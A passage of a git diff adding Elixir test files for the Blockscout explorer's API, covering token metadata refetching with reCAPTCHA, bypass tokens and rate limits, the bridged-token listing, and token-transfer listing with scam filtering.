token_contract_address_hash: token.contract_address_hash) + + assert(token_instance_from_db) + assert token_instance_from_db.metadata == metadata + end + + test "emit not_fetched_token_instance_metadata event when fetching token instance metadata fails", %{ + conn: conn + } do + token = insert(:token, type: "ERC-721") + token_id = 1 + + insert(:token_instance, + token_id: token_id, + token_contract_address_hash: token.contract_address_hash, + metadata: nil + ) + + url = "http://metadata.endpoint.com" + token_contract_address_hash_string = to_string(token.contract_address_hash) + + TestHelper.fetch_token_uri_mock(url, token_contract_address_hash_string) + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: ^url}, _opts -> + {:ok, + %Tesla.Env{ + status: 500, + body: "Error" + }} + end + ) + + topic = "token_instances:#{token_contract_address_hash_string}" + + {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + request = + patch(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/#{token_id}/refetch-metadata", %{ + "recaptcha_response" => "123" + }) + + assert %{"message" => "OK"} = json_response(request, 200) + + :timer.sleep(100) + + assert_receive( + {:chain_event, :not_fetched_token_instance_metadata, :on_demand, + [^token_contract_address_hash_string, ^token_id, "error"]} + ) + + assert_receive %Phoenix.Socket.Message{ + payload: %{token_id: ^token_id, reason: "error"}, + event: "not_fetched_token_instance_metadata", + topic: ^topic + }, + :timer.seconds(1) + + token_instance_from_db = + Repo.get_by(Instance, token_id: token_id, token_contract_address_hash: token.contract_address_hash) + + assert(token_instance_from_db) + assert is_nil(token_instance_from_db.metadata) + end + + test "fetch token instance metadata using scoped bypass api key", %{conn: conn} do + # Configure scoped bypass api key for this test + old_recaptcha_env = Application.get_env(:block_scout_web, :recaptcha) + scoped_bypass_token = "test_scoped_token_123" + + Application.put_env( + :block_scout_web, + :recaptcha, + Keyword.merge(old_recaptcha_env, + scoped_bypass_tokens: [ + token_instance_refetch_metadata: scoped_bypass_token + ] + ) + ) + + on_exit(fn -> + Application.put_env(:block_scout_web, :recaptcha, old_recaptcha_env) + end) + + token = insert(:token, type: "ERC-721") + token_id = 1 + + insert(:token_instance, + token_id: token_id, + token_contract_address_hash: token.contract_address_hash, + metadata: %{} + ) + + metadata = %{"name" => "Super Token"} + url = "http://metadata.endpoint.com" + token_contract_address_hash_string = to_string(token.contract_address_hash) + + TestHelper.fetch_token_uri_mock(url, token_contract_address_hash_string) + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: ^url}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: Jason.encode!(metadata) + }} + end + ) + + topic = "token_instances:#{token_contract_address_hash_string}" + + {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + request = + patch(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/#{token_id}/refetch-metadata", %{}) + + assert %{"message" => "OK"} = json_response(request, 200) + + :timer.sleep(100) + + assert_receive( + {:chain_event, :fetched_token_instance_metadata, :on_demand, + [^token_contract_address_hash_string, ^token_id, ^metadata]} + ) + + assert_receive %Phoenix.Socket.Message{ + payload: %{token_id: ^token_id, fetched_metadata: ^metadata}, + event: "fetched_token_instance_metadata", + topic: ^topic + }, + :timer.seconds(1) + + token_instance_from_db = + Repo.get_by(Instance, token_id: token_id, token_contract_address_hash: token.contract_address_hash) + + assert(token_instance_from_db) + assert token_instance_from_db.metadata == metadata + + request = + Phoenix.ConnTest.build_conn() + |> put_req_header("user-agent", "test-agent") + |> patch("/api/v2/tokens/#{token.contract_address.hash}/instances/#{token_id}/refetch-metadata", %{}) + + assert json_response(request, 429) + + TestHelper.fetch_token_uri_mock(url, token_contract_address_hash_string) + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: ^url}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: Jason.encode!(metadata) + }} + end + ) + + request = + Phoenix.ConnTest.build_conn() + |> put_req_header("user-agent", "test-agent") + |> put_req_header("scoped-recaptcha-bypass-token", scoped_bypass_token) + |> patch("/api/v2/tokens/#{token.contract_address.hash}/instances/#{token_id}/refetch-metadata", %{}) + + assert %{"message" => "OK"} = json_response(request, 200) + + :timer.sleep(100) + + assert_receive( + {:chain_event, :fetched_token_instance_metadata, :on_demand, + [^token_contract_address_hash_string, ^token_id, ^metadata]} + ) + + assert_receive %Phoenix.Socket.Message{ + payload: %{token_id: ^token_id, fetched_metadata: ^metadata}, + event: "fetched_token_instance_metadata", + topic: ^topic + }, + :timer.seconds(1) + + token_instance_from_db = + Repo.get_by(Instance, token_id: token_id, token_contract_address_hash: token.contract_address_hash) + + assert(token_instance_from_db) + assert token_instance_from_db.metadata == metadata + end + + test "falls back to normal reCAPTCHA when incorrect scoped bypass api key is supplied", %{ + conn: conn, + v2_secret_key: v2_secret_key + } do + # Configure scoped bypass api key for this test + old_recaptcha_env = Application.get_env(:block_scout_web, :recaptcha) + scoped_bypass_token = "test_scoped_token_123" + + Application.put_env( + :block_scout_web, + :recaptcha, + Keyword.merge(old_recaptcha_env, + scoped_bypass_tokens: [ + token_instance_refetch_metadata: scoped_bypass_token + ] + ) + ) + + on_exit(fn -> + Application.put_env(:block_scout_web, :recaptcha, old_recaptcha_env) + end) + + token = insert(:token, type: "ERC-721") + token_id = 1 + + insert(:token_instance, + token_id: token_id, + token_contract_address_hash: token.contract_address_hash, + metadata: %{} + ) + + metadata = %{"name" => "Super Token"} + url = "http://metadata.endpoint.com" + token_contract_address_hash_string = to_string(token.contract_address_hash) + + TestHelper.fetch_token_uri_mock(url, token_contract_address_hash_string) + + request = + patch(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/#{token_id}/refetch-metadata", %{}) + + assert %{"message" => "OK"} = json_response(request, 200) + + # First request after hitting rate limit with wrong scoped token - should fail + request = + Phoenix.ConnTest.build_conn() + |> put_req_header("user-agent", "test-agent") + |> put_req_header("scoped-recaptcha-bypass-token", "wrong_scoped_token") + |> patch("/api/v2/tokens/#{token.contract_address.hash}/instances/#{token_id}/refetch-metadata", %{}) + + assert %{"message" => "Too Many Requests"} = json_response(request, 429) + + # Set up normal reCAPTCHA validation for the second request + expected_body = "secret=#{v2_secret_key}&response=correct_recaptcha_token" + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{body: ^expected_body}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: + Jason.encode!(%{ + "success" => true, + "hostname" => Application.get_env(:block_scout_web, BlockScoutWeb.Endpoint)[:url][:host] + }) + }} + end + ) + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: ^url}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: Jason.encode!(%{"name" => "test"}) + }} + end + ) + + TestHelper.fetch_token_uri_mock(url, token_contract_address_hash_string) + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: ^url}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: Jason.encode!(metadata) + }} + end + ) + + topic = "token_instances:#{token_contract_address_hash_string}" + + {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + # Second request with correct reCAPTCHA token - should work + request = + Phoenix.ConnTest.build_conn() + |> put_req_header("user-agent", "test-agent") + |> put_req_header("recaptcha-v2-response", "correct_recaptcha_token") + |> patch("/api/v2/tokens/#{token.contract_address.hash}/instances/#{token_id}/refetch-metadata", %{}) + + assert %{"message" => "OK"} = json_response(request, 200) + + :timer.sleep(100) + + assert_receive( + {:chain_event, :fetched_token_instance_metadata, :on_demand, + [^token_contract_address_hash_string, ^token_id, ^metadata]} + ) + + token_instance_from_db = + Repo.get_by(Instance, token_id: token_id, token_contract_address_hash: token.contract_address_hash) + + assert(token_instance_from_db) + assert token_instance_from_db.metadata == metadata + end + + test "rejects scoped bypass api key when scoped tokens are not configured", %{ + conn: conn, + v2_secret_key: v2_secret_key + } do + # Make sure we don't have scoped tokens configured + old_recaptcha_env = Application.get_env(:block_scout_web, :recaptcha) + + # Ensure there are no scoped_bypass_tokens in the configuration + Application.put_env( + :block_scout_web, + :recaptcha, + Keyword.merge(old_recaptcha_env, + scoped_bypass_tokens: [ + token_instance_refetch_metadata: nil + ] + ) + ) + + on_exit(fn -> + Application.put_env(:block_scout_web, :recaptcha, old_recaptcha_env) + end) + + token = insert(:token, type: "ERC-721") + token_id = 1 + + insert(:token_instance, + token_id: token_id, + token_contract_address_hash: token.contract_address_hash, + metadata: %{} + ) + + metadata = %{"name" => "Super Token"} + url = "http://metadata.endpoint.com" + token_contract_address_hash_string = to_string(token.contract_address_hash) + TestHelper.fetch_token_uri_mock(url, token_contract_address_hash_string) + + request = + patch(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/#{token_id}/refetch-metadata", %{}) + + assert %{"message" => "OK"} = json_response(request, 200) + + # First request after hitting rate limit with a scoped token that isn't configured - should fail + request = + Phoenix.ConnTest.build_conn() + |> put_req_header("user-agent", "test-agent") + |> put_req_header("scoped-recaptcha-bypass-token", "some_token_that_does_not_exist") + |> patch("/api/v2/tokens/#{token.contract_address.hash}/instances/#{token_id}/refetch-metadata", %{}) + + assert %{"message" => "Too Many Requests"} = json_response(request, 429) + + request = + Phoenix.ConnTest.build_conn() + |> put_req_header("user-agent", "test-agent") + |> put_req_header("scoped-recaptcha-bypass-token", "some_token_that_does_not_exist") + |> patch("/api/v2/tokens/#{token.contract_address.hash}/instances/#{token_id}/refetch-metadata", %{}) + + assert %{"message" => "Too Many Requests"} = json_response(request, 429) + + request = + Phoenix.ConnTest.build_conn() + |> put_req_header("user-agent", "test-agent") + |> put_req_header("scoped-recaptcha-bypass-token", "") + |> patch("/api/v2/tokens/#{token.contract_address.hash}/instances/#{token_id}/refetch-metadata", %{}) + + assert %{"message" => "Too Many Requests"} = json_response(request, 429) + + # Set up normal reCAPTCHA validation for the second request + expected_body = "secret=#{v2_secret_key}&response=correct_recaptcha_token" + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{body: ^expected_body}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: + Jason.encode!(%{ + "success" => true, + "hostname" => Application.get_env(:block_scout_web, BlockScoutWeb.Endpoint)[:url][:host] + }) + }} + end + ) + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: ^url}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: Jason.encode!(%{"name" => "test"}) + }} + end + ) + + TestHelper.fetch_token_uri_mock(url, token_contract_address_hash_string) + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: ^url}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: Jason.encode!(metadata) + }} + end + ) + + # Second request with correct reCAPTCHA token - should work + request = + Phoenix.ConnTest.build_conn() + |> put_req_header("user-agent", "test-agent") + |> put_req_header("recaptcha-v2-response", "correct_recaptcha_token") + |> patch("/api/v2/tokens/#{token.contract_address.hash}/instances/#{token_id}/refetch-metadata", %{}) + + assert %{"message" => "OK"} = json_response(request, 200) + + :timer.sleep(100) + + token_instance_from_db = + Repo.get_by(Instance, token_id: token_id, token_contract_address_hash: token.contract_address.hash) + + assert(token_instance_from_db) + assert token_instance_from_db.metadata == metadata + end + end + + describe "/tokens/{address_hash}/instances/refetch-metadata" do + setup :set_mox_from_context + + setup :verify_on_exit! + + setup %{json_rpc_named_arguments: json_rpc_named_arguments} do + Application.put_env(:block_scout_web, :sensitive_endpoints_api_key, "abc") + mocked_json_rpc_named_arguments = Keyword.put(json_rpc_named_arguments, :transport, EthereumJSONRPC.Mox) + + start_supervised!({Task.Supervisor, name: Indexer.TaskSupervisor}) + + start_supervised!( + {NFTCollectionMetadataRefetchOnDemand, + [mocked_json_rpc_named_arguments, [name: NFTCollectionMetadataRefetchOnDemand]]} + ) + + %{json_rpc_named_arguments: mocked_json_rpc_named_arguments} + + on_exit(fn -> + Application.put_env(:block_scout_web, :sensitive_endpoints_api_key, nil) + end) + + :ok + end + + test "token instance metadata on-demand re-fetcher is called", %{conn: conn} do + token = insert(:token, type: "ERC-721") + + for id <- 1..5 do + insert(:token_instance, + token_id: id, + token_contract_address_hash: token.contract_address_hash, + metadata: %{} + ) + end + + request = + patch( + conn, + "/api/v2/tokens/#{token.contract_address.hash}/instances/refetch-metadata", + %{ + "api_key" => "abc" + } + ) + + assert %{"message" => "OK"} = json_response(request, 200) + + :timer.sleep(100) + + token_instances_from_db = Repo.all(Instance, token_contract_address_hash: token.contract_address_hash) + + assert(token_instances_from_db) + + for token_instance_from_db <- token_instances_from_db do + assert token_instance_from_db.metadata == nil + assert token_instance_from_db.error == ":marked_to_refetch" + end + end + + test "don't trigger metadata re-fetch, if no admin api key is provided", %{conn: conn} do + token = insert(:token, type: "ERC-721") + + request = + patch(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/refetch-metadata") + + assert %{"message" => "Wrong API key"} = json_response(request, 401) + end + end + + defp compare_holders_item(%CurrentTokenBalance{} = ctb, json) do + assert Address.checksum(ctb.address_hash) == json["address"]["hash"] + assert (ctb.token_id && to_string(ctb.token_id)) == json["token_id"] + assert to_string(ctb.value) == json["value"] + end + + def compare_item(%Address{} = address, json) do + assert Address.checksum(address.hash) == json["hash"] + end + + def compare_item(%Token{} = token, json) do + assert Address.checksum(token.contract_address.hash) == json["address_hash"] + assert token.symbol == json["symbol"] + assert token.name == json["name"] + assert to_string(token.decimals) == json["decimals"] + assert token.type == json["type"] + + assert (is_nil(token.holder_count) and is_nil(json["holders_count"])) or + (to_string(token.holder_count) == json["holders_count"] and !is_nil(token.holder_count)) + + assert to_string(token.total_supply) == json["total_supply"] + assert Map.has_key?(json, "exchange_rate") + end + + def compare_item(%TokenTransfer{} = token_transfer, json) do + assert Address.checksum(token_transfer.from_address_hash) == json["from"]["hash"] + assert Address.checksum(token_transfer.to_address_hash) == json["to"]["hash"] + assert to_string(token_transfer.transaction_hash) == json["transaction_hash"] + assert json["timestamp"] != nil + assert json["method"] != nil + assert to_string(token_transfer.block_hash) == json["block_hash"] + assert token_transfer.log_index == json["log_index"] + assert check_total(Repo.preload(token_transfer, [{:token, :contract_address}]).token, json["total"], token_transfer) + end + + def compare_item(%CurrentTokenBalance{} = ctb, json) do + compare_holders_item(ctb, json) + compare_item(Repo.preload(ctb, [{:token, :contract_address}]).token, json["token"]) + end + + def compare_item(%Instance{token: %Token{} = token} = instance, json) do + token_type = token.type + value = to_string(value(token.type, instance)) + id = to_string(instance.token_id) + metadata = instance.metadata + token_address_hash = Address.checksum(token.contract_address_hash) + app_url = instance.metadata["external_url"] + animation_url = instance.metadata["animation_url"] + image_url = instance.metadata["image_url"] + token_name = token.name + owner_address_hash = Address.checksum(instance.owner.hash) + is_contract = !is_nil(instance.owner.contract_code) + is_unique = value == "1" + + assert %{ + "token_type" => ^token_type, + "value" => ^value, + "id" => ^id, + "metadata" => ^metadata, + "token" => %{"address_hash" => ^token_address_hash, "name" => ^token_name, "type" => ^token_type}, + "external_app_url" => ^app_url, + "animation_url" => ^animation_url, + "image_url" => ^image_url, + "is_unique" => ^is_unique + } = json + + if is_unique do + assert owner_address_hash == json["owner"]["hash"] + assert is_contract == json["owner"]["is_contract"] + else + assert json["owner"] == nil + end + end + + def compare_item(%Instance{} = instance, json) do + assert to_string(instance.token_id) == json["id"] + assert Jason.decode!(Jason.encode!(instance.metadata)) == json["metadata"] + assert json["is_unique"] + compare_item(Repo.preload(instance, [{:token, :contract_address}]).token, json["token"]) + end + + defp value("ERC-721", _), do: 1 + defp value(_, nft), do: nft.current_token_balance.value + + # with the current implementation no transfers should come with list in totals + def check_total(%Token{type: nft}, json, _token_transfer) when nft in ["ERC-721", "ERC-1155"] and is_list(json) do + false + end + + def check_total(%Token{type: nft}, json, token_transfer) when nft in ["ERC-1155"] do + json["token_id"] in Enum.map(token_transfer.token_ids, fn x -> to_string(x) end) and + json["value"] == to_string(token_transfer.amount) + end + + def check_total(%Token{type: nft}, json, token_transfer) when nft in ["ERC-721"] do + json["token_id"] in Enum.map(token_transfer.token_ids, fn x -> to_string(x) end) + end + + def check_total(_, _, _), do: true + + defp check_paginated_response(first_page_resp, second_page_resp, list) do + assert Enum.count(first_page_resp["items"]) == 50 + assert first_page_resp["next_page_params"] != nil + compare_item(Enum.at(list, 50), Enum.at(first_page_resp["items"], 0)) + compare_item(Enum.at(list, 1), Enum.at(first_page_resp["items"], 49)) + + assert Enum.count(second_page_resp["items"]) == 1 + assert second_page_resp["next_page_params"] == nil + compare_item(Enum.at(list, 0), Enum.at(second_page_resp["items"], 0)) + end + + defp check_holders_paginated_response(first_page_resp, second_page_resp, list) do + assert Enum.count(first_page_resp["items"]) == 50 + assert first_page_resp["next_page_params"] != nil + compare_holders_item(Enum.at(list, 50), Enum.at(first_page_resp["items"], 0)) + compare_holders_item(Enum.at(list, 1), Enum.at(first_page_resp["items"], 49)) + + assert Enum.count(second_page_resp["items"]) == 1 + assert second_page_resp["next_page_params"] == nil + compare_holders_item(Enum.at(list, 0), Enum.at(second_page_resp["items"], 0)) + end + + if @bridged_tokens_enabled do + describe "/tokens/bridged" do + test "returns empty list when no bridged tokens", %{conn: conn} do + request = get(conn, "/api/v2/tokens/bridged") + + assert %{"items" => [], "next_page_params" => nil} = json_response(request, 200) + end + + test "returns bridged tokens list", %{conn: conn} do + # Create a token + token = insert(:token, %{total_supply: 1000}) + + # Update token to set bridged flag directly in the database + Explorer.Repo.update_all( + from(t in Explorer.Chain.Token, where: t.contract_address_hash == ^token.contract_address_hash), + set: [bridged: true] + ) + + # Create a bridged token record + {:ok, _bridged_token} = + Explorer.Repo.insert(%Explorer.Chain.BridgedToken{ + home_token_contract_address_hash: token.contract_address_hash, + foreign_chain_id: 1, + foreign_token_contract_address_hash: build(:address).hash, + type: "omni", + exchange_rate: Decimal.new("1.5") + }) + + request = get(conn, "/api/v2/tokens/bridged") + + assert response = json_response(request, 200) + assert %{"items" => items, "next_page_params" => _} = response + assert length(items) == 1 + + item = List.first(items) + assert item["address_hash"] == Address.checksum(token.contract_address_hash) + assert item["name"] == token.name + assert item["symbol"] == token.symbol + assert item["bridge_type"] == "omni" + assert item["origin_chain_id"] == "1" + assert is_binary(item["foreign_address"]) + end + + test "filters bridged tokens by search query", %{conn: conn} do + # Create first token + token1 = insert(:token, %{total_supply: 1000, name: "TestToken", symbol: "TEST"}) + + Explorer.Repo.update_all( + from(t in Explorer.Chain.Token, where: t.contract_address_hash == ^token1.contract_address_hash), + set: [bridged: true] + ) + + {:ok, _bridged_token1} = + Explorer.Repo.insert(%Explorer.Chain.BridgedToken{ + home_token_contract_address_hash: token1.contract_address_hash, + foreign_chain_id: 1, + foreign_token_contract_address_hash: build(:address).hash, + type: "omni" + }) + + # Create second token with different name + token2 = insert(:token, %{total_supply: 2000, name: "OtherToken", symbol: "OTHER"}) + + Explorer.Repo.update_all( + from(t in Explorer.Chain.Token, where: t.contract_address_hash == ^token2.contract_address_hash), + set: [bridged: true] + ) + + {:ok, _bridged_token2} = + Explorer.Repo.insert(%Explorer.Chain.BridgedToken{ + home_token_contract_address_hash: token2.contract_address_hash, + foreign_chain_id: 1, + foreign_token_contract_address_hash: build(:address).hash, + type: "amb" + }) + + # Search for "Test" + request = get(conn, "/api/v2/tokens/bridged", %{"q" => "Test"}) + + assert response = json_response(request, 200) + assert %{"items" => items} = response + assert length(items) == 1 + + item = List.first(items) + assert item["name"] == "TestToken" + assert item["symbol"] == "TEST" + end + + test "filters bridged tokens by chain ids", %{conn: conn} do + # Create tokens on different chains + token1 = insert(:token, %{total_supply: 1000}) + + Explorer.Repo.update_all( + from(t in Explorer.Chain.Token, where: t.contract_address_hash == ^token1.contract_address_hash), + set: [bridged: true] + ) + + {:ok, _bridged_token1} = + Explorer.Repo.insert(%Explorer.Chain.BridgedToken{ + home_token_contract_address_hash: token1.contract_address_hash, + foreign_chain_id: 1, + foreign_token_contract_address_hash: build(:address).hash, + type: "omni" + }) + + token2 = insert(:token, %{total_supply: 2000}) + + Explorer.Repo.update_all( + from(t in Explorer.Chain.Token, where: t.contract_address_hash == ^token2.contract_address_hash), + set: [bridged: true] + ) + + {:ok, _bridged_token2} = + Explorer.Repo.insert(%Explorer.Chain.BridgedToken{ + home_token_contract_address_hash: token2.contract_address_hash, + foreign_chain_id: 56, + foreign_token_contract_address_hash: build(:address).hash, + type: "amb" + }) + + # Filter by chain id 1 + request = get(conn, "/api/v2/tokens/bridged", %{"chain_ids" => "1"}) + + assert response = json_response(request, 200) + assert %{"items" => items} = response + assert length(items) == 1 + + item = List.first(items) + assert item["origin_chain_id"] == "1" + end + + test "supports pagination", %{conn: conn} do + # Create 51 bridged tokens to trigger pagination (default page size is 50) + _tokens = + for i <- 1..51 do + token = insert(:token, %{total_supply: 1000 * i, name: "Token#{i}", symbol: "T#{i}"}) + + Explorer.Repo.update_all( + from(t in Explorer.Chain.Token, where: t.contract_address_hash == ^token.contract_address_hash), + set: [bridged: true] + ) + + {:ok, _bridged_token} = + Explorer.Repo.insert(%Explorer.Chain.BridgedToken{ + home_token_contract_address_hash: token.contract_address_hash, + foreign_chain_id: 1, + foreign_token_contract_address_hash: build(:address).hash, + type: "omni" + }) + + token + end + + # Test first page (should have 50 items and next_page_params) + request = get(conn, "/api/v2/tokens/bridged") + + assert response = json_response(request, 200) + assert %{"items" => items, "next_page_params" => next_page_params} = response + assert length(items) == 50 + assert next_page_params != nil + + # Test second page (should have 1 item and no next_page_params) + request = get(conn, "/api/v2/tokens/bridged", next_page_params) + + assert response = json_response(request, 200) + assert %{"items" => items, "next_page_params" => next_page_params} = response + assert length(items) == 1 + assert next_page_params == nil + end + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v2/token_transfer_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/token_transfer_controller_test.exs new file mode 100644 index 000000000000..d10867998a1a --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/token_transfer_controller_test.exs @@ -0,0 +1,270 @@ +defmodule BlockScoutWeb.API.V2.TokenTransferControllerTest do + use BlockScoutWeb.ConnCase + + alias Explorer.Chain.{Address, TokenTransfer} + + describe "/token-transfers" do + test "get token-transfers with ok reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + transaction = + :transaction + |> insert() + |> with_block() + + insert(:token_transfer, transaction: transaction) + + request = conn |> put_req_cookie("show_scam_tokens", "true") |> get("/api/v2/token-transfers") + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + + assert response == conn |> get("/api/v2/token-transfers") |> json_response(200) + end + + test "get smart-contract with scam reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + transaction = + :transaction + |> insert() + |> with_block() + + tt = insert(:token_transfer, transaction: transaction) + insert(:scam_badge_to_address, address_hash: tt.token_contract_address_hash) + + request = conn |> put_req_cookie("show_scam_tokens", "true") |> get("/api/v2/token-transfers") + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "scam" + + request = conn |> get("/api/v2/token-transfers") + response = json_response(request, 200) + + assert response["items"] == [] + end + + test "get token-transfers with ok reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + transaction = + :transaction + |> insert() + |> with_block() + + insert(:token_transfer, transaction: transaction) + + request = conn |> get("/api/v2/token-transfers") + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + end + + test "get token-transfers with scam reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + transaction = + :transaction + |> insert() + |> with_block() + + tt = insert(:token_transfer, transaction: transaction) + insert(:scam_badge_to_address, address_hash: tt.token_contract_address_hash) + + request = conn |> get("/api/v2/token-transfers") + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + end + + test "empty list", %{conn: conn} do + request = get(conn, "/api/v2/token-transfers") + + assert response = json_response(request, 200) + assert response["items"] == [] + assert response["next_page_params"] == nil + end + + test "non empty list", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + 1 |> insert_list(:token_transfer, transaction: transaction) + + request = get(conn, "/api/v2/token-transfers") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + end + + test "filters by type", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + token = insert(:token, type: "ERC-721") + + insert(:token_transfer, + transaction: transaction, + token: token, + token_type: "ERC-721" + ) + + request = get(conn, "/api/v2/token-transfers?type=ERC-1155") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 0 + assert response["next_page_params"] == nil + end + + test "returns all transfers if filter is incorrect", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + token = insert(:token, type: "ERC-100500") + + insert(:token_transfer, + transaction: transaction, + token: token, + token_type: "ERC-721", + token_ids: [1] + ) + + insert(:token_transfer, + transaction: transaction, + token: token, + token_type: "ERC-20" + ) + + request = get(conn, "/api/v2/token-transfers?type=ERC-20") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 2 + assert response["next_page_params"] == nil + end + + test "token transfers with next_page_params", %{conn: conn} do + token_transfers = + for _i <- 0..50 do + transaction = insert(:transaction) |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number + ) + end + + request = get(conn, "/api/v2/token-transfers") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/token-transfers", response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, nil, token_transfers) + end + + test "flatten erc1155 batch token transfer", %{conn: conn} do + transaction = insert(:transaction) |> with_block() + + transfer = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_ids: [1, 2, 3], + amounts: [500, 600, 700], + token_type: "ERC-1155" + ) + + insert(:token_instance, + token_id: 3, + token_contract_address_hash: transfer.token_contract_address_hash, + metadata: %{test: "test"} + ) + + request = get(conn, "/api/v2/token-transfers") + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 3 + + assert %{"decimals" => "18", "value" => "700", "token_id" => "3", "token_instance" => token_instance} = + Enum.at(response["items"], 0)["total"] + + assert token_instance["metadata"] == %{"test" => "test"} + end + + test "paginates erc1155 batch token transfers", %{conn: conn} do + token_transfers = + for _i <- 0..50 do + transaction = insert(:transaction) |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_ids: [1, 2], + amounts: [500, 600], + token_type: "ERC-1155" + ) + end + + request = get(conn, "/api/v2/token-transfers") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/token-transfers", response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + request_3d_page = get(conn, "/api/v2/token-transfers", response_2nd_page["next_page_params"]) + assert response_3d_page = json_response(request_3d_page, 200) + + check_paginated_response(response, response_2nd_page, response_3d_page, token_transfers) + end + end + + defp compare_item(%TokenTransfer{} = token_transfer, json) do + assert Address.checksum(token_transfer.from_address_hash) == json["from"]["hash"] + assert Address.checksum(token_transfer.to_address_hash) == json["to"]["hash"] + assert to_string(token_transfer.transaction_hash) == json["transaction_hash"] + assert token_transfer.transaction.block_timestamp == Timex.parse!(json["timestamp"], "{ISO:Extended:Z}") + assert json["method"] == nil + assert token_transfer.block_number == json["block_number"] + assert token_transfer.log_index == json["log_index"] + end + + defp check_paginated_response(first_page_resp, second_page_resp, third_page_resp, token_transfers) do + assert Enum.count(first_page_resp["items"]) == 50 + assert first_page_resp["next_page_params"] != nil + compare_item(Enum.at(token_transfers, 50), Enum.at(first_page_resp["items"], 0)) + + if is_nil(third_page_resp) do + compare_item(Enum.at(token_transfers, 1), Enum.at(first_page_resp["items"], 49)) + + assert Enum.count(second_page_resp["items"]) == 1 + assert second_page_resp["next_page_params"] == nil + compare_item(Enum.at(token_transfers, 0), Enum.at(second_page_resp["items"], 0)) + else + assert Enum.count(second_page_resp["items"]) == 50 + assert second_page_resp["next_page_params"] !== nil + + compare_item(Enum.at(token_transfers, 1), Enum.at(second_page_resp["items"], 49)) + + assert Enum.count(third_page_resp["items"]) == 2 + assert third_page_resp["next_page_params"] == nil + compare_item(Enum.at(token_transfers, 0), Enum.at(third_page_resp["items"], 0)) + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v2/transaction_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/transaction_controller_test.exs new file mode 100644 index 000000000000..17e085f34593 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/transaction_controller_test.exs @@ -0,0 +1,3010 @@ +defmodule BlockScoutWeb.API.V2.TransactionControllerTest do + use BlockScoutWeb.ConnCase + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + import Explorer.Chain, only: [hash_to_lower_case_string: 1] + import Mox + + alias Explorer.Account.{Identity, WatchlistAddress} + alias Explorer.Chain.{Address, InternalTransaction, Log, Token, TokenTransfer, Transaction, Wei} + alias 